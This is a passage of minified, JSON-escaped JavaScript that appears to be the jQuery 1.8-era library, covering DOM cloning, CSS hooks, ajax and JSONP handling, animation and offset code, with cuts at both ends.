a==\"string\"\u0026\u0026a.length\u003c512\u0026\u0026n===i\u0026\u0026a.charAt(0)===\"\u003c\"\u0026\u0026!bt.test(a)\u0026\u0026(v.support.checkClone||!St.test(a))\u0026\u0026(v.support.html5Clone||!wt.test(a))\u0026\u0026(o=!0,s=v.fragments[a],u=s!==t),s||(s=n.createDocumentFragment(),v.clean(e,n,s,r),o\u0026\u0026(v.fragments[a]=u\u0026\u0026s)),{fragment:s,cacheable:o}},v.fragments={},v.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(e,t){v.fn[e]=function(n){var r,i=0,s=[],o=v(n),u=o.length,a=this.length===1\u0026\u0026this[0].parentNode;if((a==null||a\u0026\u0026a.nodeType===11\u0026\u0026a.childNodes.length===1)\u0026\u0026u===1)return o[t](this[0]),this;for(;i\u003cu;i++)r=(i\u003e0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test(\"\u003c\"+e.nodeName+\"\u003e\")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)\u0026\u0026(e.nodeType===1||e.nodeType===11)\u0026\u0026!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]\u0026\u0026Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i\u0026\u0026Ct,b=[];if(!t||typeof t.createDocumentFragment==\"undefined\")t=i;for(s=0;(u=e[s])!=null;s++){typeof u==\"number\"\u0026\u0026(u+=\"\");if(!u)continue;if(typeof u==\"string\")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement(\"div\"),y.appendChild(c),u=u.replace(dt,\"\u003c$1\u003e\u003c/$2\u003e\"),a=(vt.exec(u)||[\"\",\"\"])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a===\"table\"\u0026\u0026!h?c.firstChild\u0026\u0026c.firstChild.childNodes:f[1]===\"\u003ctable\u003e\"\u0026\u0026!h?c.childNodes:[];for(o=p.length-1;o\u003e=0;--o)v.nodeName(p[o],\"tbody\")\u0026\u0026!p[o].childNodes.length\u0026\u0026p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace\u0026\u0026pt.test(u)\u0026\u0026c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c\u0026\u0026(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,\"input\")?_t(u):typeof u.getElementsByTagName!=\"undefined\"\u0026\u0026v.grep(u.getElementsByTagName(\"input\"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,\"script\")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!=\"undefined\"\u0026\u0026(g=v.grep(v.merge([],u.getElementsByTagName(\"script\")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r\u0026\u0026a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]\u0026\u0026(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \\/]([\\w.]+)/.exec(e)||/(webkit)[ \\/]([\\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \\/]([\\w.]+)/.exec(e)||/(msie) ([\\w.]+)/.exec(e)||e.indexOf(\"compatible\")\u003c0\u0026\u0026/(mozilla)(?:.*? rv:([\\w.]+)|)/.exec(e)||[];return{browser:t[1]||\"\",version:t[2]||\"0\"}},e=v.uaMatch(o.userAgent),t={},e.browser\u0026\u0026(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit\u0026\u0026(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i\u0026\u0026i instanceof v\u0026\u0026!(i instanceof e)\u0026\u0026(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\\([^)]*\\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp(\"^(\"+m+\")(.*)$\",\"i\"),Ut=new RegExp(\"^(\"+m+\")(?!px)[a-z%]+$\",\"i\"),zt=new RegExp(\"^([-+])=(\"+m+\")\",\"i\"),Wt={BODY:\"block\"},Xt={position:\"absolute\",visibility:\"hidden\",display:\"block\"},Vt={letterSpacing:0,fontWeight:400},$t=[\"Top\",\"Right\",\"Bottom\",\"Left\"],Jt=[\"Webkit\",\"O\",\"Moz\",\"ms\"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length\u003e1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e==\"boolean\";return v.isFunction(e)\u0026\u0026v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,\"opacity\");return n===\"\"?\"1\":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":v.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u\u0026\u0026\"get\"in u\u0026\u0026(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o===\"string\"\u0026\u0026(s=zt.exec(r))\u0026\u0026(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o=\"number\");if(r==null||o===\"number\"\u0026\u0026isNaN(r))return;o===\"number\"\u0026\u0026!v.cssNumber[a]\u0026\u0026(r+=\"px\");if(!u||!(\"set\"in u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u\u0026\u0026\"get\"in u\u0026\u0026(s=u.get(e,!0,i)),s===t\u0026\u0026(s=Dt(e,n)),s===\"normal\"\u0026\u0026n in Vt\u0026\u0026(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u\u0026\u0026(r=u.getPropertyValue(n)||u[n],r===\"\"\u0026\u0026!v.contains(t.ownerDocument,t)\u0026\u0026(r=v.style(t,n)),Ut.test(r)\u0026\u0026qt.test(n)\u0026\u0026(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle\u0026\u0026(Dt=function(e,t){var n,r,i=e.currentStyle\u0026\u0026e.currentStyle[t],s=e.style;return i==null\u0026\u0026s\u0026\u0026s[t]\u0026\u0026(i=s[t]),Ut.test(i)\u0026\u0026!Ft.test(t)\u0026\u0026(n=s.left,r=e.runtimeStyle\u0026\u0026e.runtimeStyle.left,r\u0026\u0026(e.runtimeStyle.left=e.currentStyle.left),s.left=t===\"fontSize\"?\"1em\":i,i=s.pixelLeft+\"px\",s.left=n,r\u0026\u0026(e.runtimeStyle.left=r)),i===\"\"?\"auto\":i}),v.each([\"height\",\"width\"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0\u0026\u0026It.test(Dt(e,\"display\"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing\u0026\u0026v.css(e,\"boxSizing\")===\"border-box\"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t\u0026\u0026e.currentStyle?e.currentStyle.filter:e.style.filter)||\"\")?.01*parseFloat(RegExp.$1)+\"\":t?\"1\":\"\"},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?\"alpha(opacity=\"+t*100+\")\":\"\",s=r\u0026\u0026r.filter||n.filter||\"\";n.zoom=1;if(t\u003e=1\u0026\u0026v.trim(s.replace(Bt,\"\"))===\"\"\u0026\u0026n.removeAttribute){n.removeAttribute(\"filter\");if(r\u0026\u0026!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+\" \"+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:\"inline-block\"},function(){if(t)return Dt(e,\"marginRight\")})}}),!v.support.pixelPosition\u0026\u0026v.fn.position\u0026\u0026v.each([\"top\",\"left\"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+\"px\":r}}}})}),v.expr\u0026\u0026v.expr.filters\u0026\u0026(v.expr.filters.hidden=function(e){return e.offsetWidth===0\u0026\u0026e.offsetHeight===0||!v.support.reliableHiddenOffsets\u0026\u0026(e.style\u0026\u0026e.style.display||Dt(e,\"display\"))===\"none\"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:\"\",padding:\"\",border:\"Width\"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n==\"string\"?n.split(\" \"):[n],s={};for(r=0;r\u003c4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\\[\\]$/,on=/\\r?\\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name\u0026\u0026!this.disabled\u0026\u0026(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,\"\\r\\n\")}}):{name:t.name,value:n.replace(on,\"\\r\\n\")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?\"\":t,i[i.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(t)};n===t\u0026\u0026(n=v.ajaxSettings\u0026\u0026v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery\u0026\u0026!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join(\"\u0026\").replace(rn,\"+\")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg,dn=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\\/\\//,gn=/\\?/,yn=/\u003cscript\\b[^\u003c]*(?:(?!\u003c\\/script\u003e)\u003c[^\u003c]*)*\u003c\\/script\u003e/gi,bn=/([?\u0026])_=[^\u0026]*/,wn=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=[\"*/\"]+[\"*\"];try{cn=s.href}catch(Nn){cn=i.createElement(\"a\"),cn.href=\"\",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!=\"string\"\u0026\u0026En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(\" \");return a\u003e=0\u0026\u0026(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n\u0026\u0026typeof n==\"object\"\u0026\u0026(s=\"POST\"),v.ajax({url:e,type:s,dataType:\"html\",data:n,complete:function(e,t){r\u0026\u0026u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v(\"\u003cdiv\u003e\").append(e.replace(yn,\"\")).find(i):e)}),this},v.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each([\"get\",\"post\"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)\u0026\u0026(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,\"script\")},getJSON:function(e,t,n){return v.get(e,t,n,\"json\")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":e.String,\"text html\":!0,\"text json\":v.parseJSON,\"text xml\":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u\u0026\u0026clearTimeout(u),o=t,i=a||\"\",x.readyState=e\u003e0?4:0,s\u0026\u0026(w=An(c,x,s));if(e\u003e=200\u0026\u0026e\u003c300||e===304)c.ifModified\u0026\u0026(S=x.getResponseHeader(\"Last-Modified\"),S\u0026\u0026(v.lastModified[r]=S),S=x.getResponseHeader(\"Etag\"),S\u0026\u0026(v.etag[r]=S)),e===304?(T=\"notmodified\",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T=\"error\",e\u003c0\u0026\u0026(e=0)}x.status=e,x.statusText=(n||T)+\"\",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f\u0026\u0026p.trigger(\"ajax\"+(l?\"Success\":\"Error\"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f\u0026\u0026(p.trigger(\"ajaxComplete\",[x,c]),--v.active||v.event.trigger(\"ajaxStop\"))}typeof e==\"object\"\u0026\u0026(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c\u0026\u0026(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks(\"once memory\"),g=c.statusCode||{},b={},w={},E=0,S=\"canceled\",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o\u0026\u0026o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E\u003c2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+\"\").replace(hn,\"\").replace(mn,ln[1]+\"//\"),c.dataTypes=v.trim(c.dataType||\"*\").toLowerCase().split(y),c.crossDomain==null\u0026\u0026(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]\u0026\u0026a[2]===ln[2]\u0026\u0026(a[3]||(a[1]===\"http:\"?80:443))==(ln[3]||(ln[1]===\"http:\"?80:443)))),c.data\u0026\u0026c.processData\u0026\u0026typeof c.data!=\"string\"\u0026\u0026(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f\u0026\u0026v.active++===0\u0026\u0026v.event.trigger(\"ajaxStart\");if(!c.hasContent){c.data\u0026\u0026(c.url+=(gn.test(c.url)?\"\u0026\":\"?\")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,\"$1_=\"+N);c.url=C+(C===c.url?(gn.test(c.url)?\"\u0026\":\"?\")+\"_=\"+N:\"\")}}(c.data\u0026\u0026c.hasContent\u0026\u0026c.contentType!==!1||n.contentType)\u0026\u0026x.setRequestHeader(\"Content-Type\",c.contentType),c.ifModified\u0026\u0026(r=r||c.url,v.lastModified[r]\u0026\u0026x.setRequestHeader(\"If-Modified-Since\",v.lastModified[r]),v.etag[r]\u0026\u0026x.setRequestHeader(\"If-None-Match\",v.etag[r])),x.setRequestHeader(\"Accept\",c.dataTypes[0]\u0026\u0026c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!==\"*\"?\", \"+Tn+\"; q=0.01\":\"\"):c.accepts[\"*\"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1\u0026\u0026E!==2){S=\"abort\";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,\"No Transport\");else{x.readyState=1,f\u0026\u0026p.trigger(\"ajaxSend\",[x,c]),c.async\u0026\u0026c.timeout\u003e0\u0026\u0026(u=setTimeout(function(){x.abort(\"timeout\")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E\u003c2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\\?/,Dn=/(=)\\?(?=\u0026|$)|\\?\\?/,Pn=v.now();v.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=Mn.pop()||v.expando+\"_\"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter(\"json jsonp\",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l\u0026\u0026Dn.test(f),h=l\u0026\u0026!c\u0026\u0026typeof a==\"string\"\u0026\u0026!(n.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")\u0026\u0026Dn.test(a);if(n.dataTypes[0]===\"jsonp\"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,\"$1\"+s):h?n.data=a.replace(Dn,\"$1\"+s):l\u0026\u0026(n.url+=(_n.test(f)?\"\u0026\":\"?\")+n.jsonp+\"=\"+s),n.converters[\"script json\"]=function(){return u||v.error(s+\" was not called\"),u[0]},n.dataTypes[0]=\"json\",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]\u0026\u0026(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u\u0026\u0026v.isFunction(o)\u0026\u0026o(u[0]),u=o=t}),\"script\"}),v.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter(\"script\",function(e){e.cache===t\u0026\u0026(e.cache=!1),e.crossDomain\u0026\u0026(e.type=\"GET\",e.global=!1)}),v.ajaxTransport(\"script\",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName(\"head\")[0]||i.documentElement;return{send:function(s,o){n=i.createElement(\"script\"),n.async=\"async\",e.scriptCharset\u0026\u0026(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r\u0026\u0026n.parentNode\u0026\u0026r.removeChild(n),n=t,i||o(200,\"success\")},r.insertBefore(n,r.firstChild)},abort:function(){n\u0026\u0026n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal\u0026\u0026Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e\u0026\u0026\"withCredentials\"in e})}(v.ajaxSettings.xhr()),v.support.ajax\u0026\u0026v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType\u0026\u0026a.overrideMimeType\u0026\u0026a.overrideMimeType(n.mimeType),!n.crossDomain\u0026\u0026!i[\"X-Requested-With\"]\u0026\u0026(i[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent\u0026\u0026n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r\u0026\u0026(i||a.readyState===4)){r=t,o\u0026\u0026(a.onreadystatechange=v.noop,Bn\u0026\u0026delete Hn[o]);if(i)a.readyState!==4\u0026\u0026a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h\u0026\u0026h.documentElement\u0026\u0026(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=\"\"}!u\u0026\u0026n.isLocal\u0026\u0026!n.crossDomain?u=c.text?200:404:u===1223\u0026\u0026(u=204)}}}catch(d){i||s(-1,d)}c\u0026\u0026s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn\u0026\u0026(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r\u0026\u0026r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp(\"^(?:([-+])=|)(\"+m+\")([a-z%]*)$\",\"i\"),Wn=/queueHooks$/,Xn=[Gn],Vn={\"*\":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?\"\":\"px\");if(r!==\"px\"\u0026\u0026u){u=v.css(i.elem,e,!0)||n||1;do a=a||\".5\",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)\u0026\u0026a!==1\u0026\u0026--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=[\"*\"]):e=e.split(\" \");var n,r=0,i=e.length;for(;r\u003ci;r++)n=e[r],Vn[n]=Vn[n]||[],Vn[n].unshift(t)},prefilter:function(e,t){t?Xn.unshift(e):Xn.push(e)}}),v.Tween=Yn,Yn.prototype={constructor:Yn,init:function(e,t,n,r,i,s){this.elem=e,this.prop=n,this.easing=i||\"swing\",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=s||(v.cssNumber[n]?\"\":\"px\")},cur:function(){var e=Yn.propHooks[this.prop];return e\u0026\u0026e.get?e.get(this):Yn.propHooks._default.get(this)},run:function(e){var t,n=Yn.propHooks[this.prop];return this.options.duration?this.pos=t=v.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),n\u0026\u0026n.set?n.set(this):Yn.propHooks._default.set(this),this}},Yn.prototype.init.prototype=Yn.prototype,Yn.propHooks={_default:{get:function(e){var t;return e.elem[e.prop]==null||!!e.elem.style\u0026\u0026e.elem.style[e.prop]!=null?(t=v.css(e.elem,e.prop,!1,\"\"),!t||t===\"auto\"?0:t):e.elem[e.prop]},set:function(e){v.fx.step[e.prop]?v.fx.step[e.prop](e):e.elem.style\u0026\u0026(e.elem.style[v.cssProps[e.prop]]!=null||v.cssHooks[e.prop])?v.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},Yn.propHooks.scrollTop=Yn.propHooks.scrollLeft={set:function(e){e.elem.nodeType\u0026\u0026e.elem.parentNode\u0026\u0026(e.elem[e.prop]=e.now)}},v.each([\"toggle\",\"show\",\"hide\"],function(e,t){var n=v.fn[t];v.fn[t]=function(r,i,s){return r==null||typeof r==\"boolean\"||!e\u0026\u0026v.isFunction(r)\u0026\u0026v.isFunction(i)?n.apply(this,arguments):this.animate(Zn(t,!0),r,i,s)}}),v.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Gt).css(\"opacity\",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=v.isEmptyObject(e),s=v.speed(t,n,r),o=function(){var t=Kn(this,v.extend({},e),s);i\u0026\u0026t.stop(!0)};return i||s.queue===!1?this.each(o):this.queue(s.queue,o)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return typeof e!=\"string\"\u0026\u0026(r=n,n=e,e=t),n\u0026\u0026e!==!1\u0026\u0026this.queue(e||\"fx\",[]),this.each(function(){var t=!0,n=e!=null\u0026\u0026e+\"queueHooks\",s=v.timers,o=v._data(this);if(n)o[n]\u0026\u0026o[n].stop\u0026\u0026i(o[n]);else for(n in o)o[n]\u0026\u0026o[n].stop\u0026\u0026Wn.test(n)\u0026\u0026i(o[n]);for(n=s.length;n--;)s[n].elem===this\u0026\u0026(e==null||s[n].queue===e)\u0026\u0026(s[n].anim.stop(r),t=!1,s.splice(n,1));(t||!r)\u0026\u0026v.dequeue(this,e)})}}),v.each({slideDown:Zn(\"show\"),slideUp:Zn(\"hide\"),slideToggle:Zn(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(e,t){v.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),v.speed=function(e,t,n){var r=e\u0026\u0026typeof e==\"object\"?v.extend({},e):{complete:n||!n\u0026\u0026t||v.isFunction(e)\u0026\u0026e,duration:e,easing:n\u0026\u0026t||t\u0026\u0026!v.isFunction(t)\u0026\u0026t};r.duration=v.fx.off?0:typeof r.duration==\"number\"?r.duration:r.duration in v.fx.speeds?v.fx.speeds[r.duration]:v.fx.speeds._default;if(r.queue==null||r.queue===!0)r.queue=\"fx\";return r.old=r.complete,r.complete=function(){v.isFunction(r.old)\u0026\u0026r.old.call(this),r.queue\u0026\u0026v.dequeue(this,r.queue)},r},v.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},v.timers=[],v.fx=Yn.prototype.init,v.fx.tick=function(){var e,n=v.timers,r=0;qn=v.now();for(;r\u003cn.length;r++)e=n[r],!e()\u0026\u0026n[r]===e\u0026\u0026n.splice(r--,1);n.length||v.fx.stop(),qn=t},v.fx.timer=function(e){e()\u0026\u0026v.timers.push(e)\u0026\u0026!Rn\u0026\u0026(Rn=setInterval(v.fx.tick,v.fx.interval))},v.fx.interval=13,v.fx.stop=function(){clearInterval(Rn),Rn=null},v.fx.speeds={slow:600,fast:200,_default:400},v.fx.step={},v.expr\u0026\u0026v.expr.filters\u0026\u0026(v.expr.filters.animated=function(e){return v.grep(v.timers,function(t){return e===t.elem}).length});var er=/^(?:body|html)$/i;v.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){v.offset.setOffset(this,e,t)});var n,r,i,s,o,u,a,f={top:0,left:0},l=this[0],c=l\u0026\u0026l.ownerDocument;if(!c)return;return(r=c.body)===l?v.offset.bodyOffset(l):(n=c.documentElement,v.contains(n,l)?(typeof l.getBoundingClientRect!=\"undefined\"\u0026\u0026(f=l.getBoundingClientRect()),i=tr(c),s=n.clientTop||r.clientTop||0,o=n.clientLeft||r.clientLeft||0,u=i.pageYOffset||n.scrollTop,a=i.pageXOffset||n.scrollLeft,{top:f.top+u-s,left:f.left+a-o}):f)},v.offset={bodyOffset:function(e){var t=e.offsetTop,n=e.offsetLeft;return v.support.doesNotIncludeMarginInBodyOffset\u0026\u0026(t+=parseFloat(v.css(e,\"marginTop\"))||0,n+=parseFloat(v.css(e,\"marginLeft\"))||0),{top:t,left:n}},setOffset:function(e,t,n){var 